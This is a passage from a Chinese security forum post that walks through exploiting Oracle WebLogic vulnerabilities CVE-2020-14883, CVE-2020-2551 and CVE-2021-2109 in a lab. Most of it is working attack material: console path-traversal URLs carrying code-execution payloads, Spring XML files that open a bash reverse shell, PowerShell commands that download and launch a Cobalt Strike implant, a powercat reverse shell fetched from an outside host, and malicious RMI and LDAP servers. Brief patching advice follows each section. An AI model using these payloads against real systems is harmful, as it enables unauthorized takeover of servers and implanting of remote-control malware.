  1. /console/images/%252E%252E%252Fconsole.portal
复制代码




而 CVE-2020-14883 的POC如下,执行后可写入文件至 Weblogic 服务器当中,执行后显示404
  1. /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/mac.txt%27);%22);
复制代码




在服务器中查看发现文件已成功写入/tmp目录


Linux反弹shell
构造用于执行 payload 的XML文档如下:
  1. <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  2.   <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  3.     <constructor-arg>
  4.       <list>
  5.         <value>/bin/bash</value>
  6.         <value>-c</value>
  7.         <value><![CDATA[bash -i >& /dev/tcp/192.168.0.50/6666 0>&1]]></value>
  8.       </list>
  9.     </constructor-arg>
  10.   </bean>
  11. </beans>
复制代码

在本地开启 http 服务并监听6666端口
  1. python -m SimpleHTTPServer 80
复制代码


请求执行 XML 中的反弹shell命令
  1. /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.0.101/poc-bash.xml")
复制代码




成功拿到反弹shell


Windows上线CS
同样构造用于执行 payload 的XML文档如下:
  1. <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  2.   <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  3.     <constructor-arg>
  4.       <list>
  5.         <value>cmd</value>
  6.         <value>/c</value>
  7.         <value><![CDATA[calc.exe]]></value>
  8.       </list>
  9.     </constructor-arg>
  10.   </bean>
  11. </beans>
复制代码


请求执行 XML 中的计算机命令
  1. /console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.0.101/poc-calc.xml")
复制代码




在 Windows 系统中成功弹出计算机


既然可以执行普通程序,那么上线CS自动也没什么问题,修改利用请求如下:
  1. <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  2.   <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  3.     <constructor-arg>
  4.       <list>
  5.         <value>cmd</value>
  6.         <value>/c</value>
  7.         <value><![CDATA[powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.0.106/mac.exe','mac.exe');start-process mac.exe]]></value>
  8.       </list>
  9.     </constructor-arg>
  10.   </bean>
  11. </beans>
复制代码

执行后成功上线CS,但默认会执行多次程序,从而导致上线多个会话


漏洞修复
目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。
在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。
IIOP反序列化漏洞(CVE-2020-2551)
漏洞详情

该漏洞的出现主要在核心组件当中,影响协议为IIOP,它类似于RMI反序列化漏洞(CVE-2017-3241),都是由于调用远程对象的实现存在缺陷,导致反序列化可以任意构造,并且没有进行安全检查所致。攻击者可以通过 IIOP 协议远程访问 Weblogic 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下完成 RCE。IIOP 协议以 Java 接口的形式对远程对象进行访问,默认为启用状态。当然其影响版本与 Java 和 Weblogic 都有关,经测试在 10.3.6 和 12.1.3 版本下成功复现
漏洞利用
利用该漏洞需要准备如下四个文件:


在exp.java中发现其调用计算器程序
  1. import java.io.IOException;
  2. public class exp {
  3.   static{
  4.     try {
  5.       java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
  6.     } catch (IOException e) {
  7.       e.printStackTrace();
  8.     }
  9.   }
  10.   public static void main(String[] args) {
  11.    
  12.   }
  13. }
复制代码


在 kali 中安装javac以用于将 java 源文件编译为 class 字节码文件
  1. cd /opt
  2. curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
  3. tar zxvf jdk-8u20-linux-x64.tar.gz
  4. rm -rf /usr/bin/java*
  5. ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
  6. javac -version
  7. java -version
复制代码




编译exp.java后在当前目录启用 http 服务
  1. javac exp.java -source 1.6 -target 1.6
复制代码


## 启动web服务
  1. python -m SimpleHTTPServer 80 或
  2. python3 -m http.server 80
复制代码




通过 maeshalsec 启动恶意的 RMI 服务,开放端口为 1099
  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.50/#exp" 1099
复制代码




执行漏洞利用脚本请求 RMI 服务进行攻击
  1. java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.50:1099/exp
复制代码




成功在 10.3.6 版本的 Weblogic 服务器中弹出计算器


接下来测试 12.1.3 版本的 Weblogic 是否存在该漏洞,执行漏洞利用程序进行攻击
  1. java -jar weblogic_CVE_2020_2551.jar 192.168.0.111 7001 rmi://192.168.0.50:1099/exp
复制代码




同样在服务器上弹出计算器,说明在 12.1.3 版本中也存在该漏洞


把exp.java中执行的计算器程序修改为CS木马程序
  1. java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c","(new-object System.Net.WebClient).DownloadFile('http://192.168.0.106/mac.exe','mac.exe');start-process mac.exe"});
复制代码




使用 javac 再次编译exp.java并开启 http 服务
  1. javac exp.java -source 1.6 -target 1.6
  2. python -m SimpleHTTPServer 80
复制代码




执行漏洞利用程序请求恶意 RMI 服务
  1. java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.50:1099/exp
复制代码


成功执行木马并上线CS


当然也可以使用 powershell 命令来替代,同样能够上线CS
  1. IEX (New-Object System.Net.Webclient).DownloadString('http://www.naturali5r.cn/powercat.ps1'); powercat -c 192.168.121.1 -p 6666 -e cmd
复制代码

漏洞修复
1.修改 weblogic 的默认端口名为8080,可在 config.xml 文件中添加 8080
2.使用 Oracle 官方安全补丁进行修复
3.如果不依赖 T3 协议进行 JVM 通信,用户可通过控制 T3 协议的访问来临时阻断针对该漏洞的攻击
Weblogic LDAP 远程代码执行漏洞(CVE-2021-2109)
漏洞详情
攻击者可构造恶意请求,造成 JNDI 注入,执行任意代码,从而控制服务器。
漏洞利用
验证漏洞是否存在的路径为
/console/css/%252e%252e%252f/consolejndi.portal,如果出现以下页面说明可未授权访问


启动攻击所需要的 LDAP 利用脚本,其中-i指向当前服务器IP
脚本地址:
  1. https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11
  2. java -jar JNDIExploit-v1.11.jar -i 192.168.0.106
复制代码




配合 Weblogic 未授权验证远程代码执行漏洞是否存在,验证成功返回用户名
  1. /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.0;106:1389/Basic/WeblogicEcho;AdminServer%22)
复制代码



修改cmd请求头命令如下,尝试上线CS
  1. powershell /c (new-object System.Net.WebClient).DownloadFile('http://192.168.0.106/mac.exe','mac.exe');start-process mac.exe
复制代码




成功上线CS


漏洞修复
1.禁用T3协议,如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响。首先进入 Weblogic 控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s


2.禁止启用 IIOP 协议。登陆 Weblogic 控制台,找到启用 IIOP 选项,取消勾选后重启生效



3.临时关闭后台/console/console.portal对外访问
4.升级官方安全补丁



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 20:52 , Processed in 0.018707 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表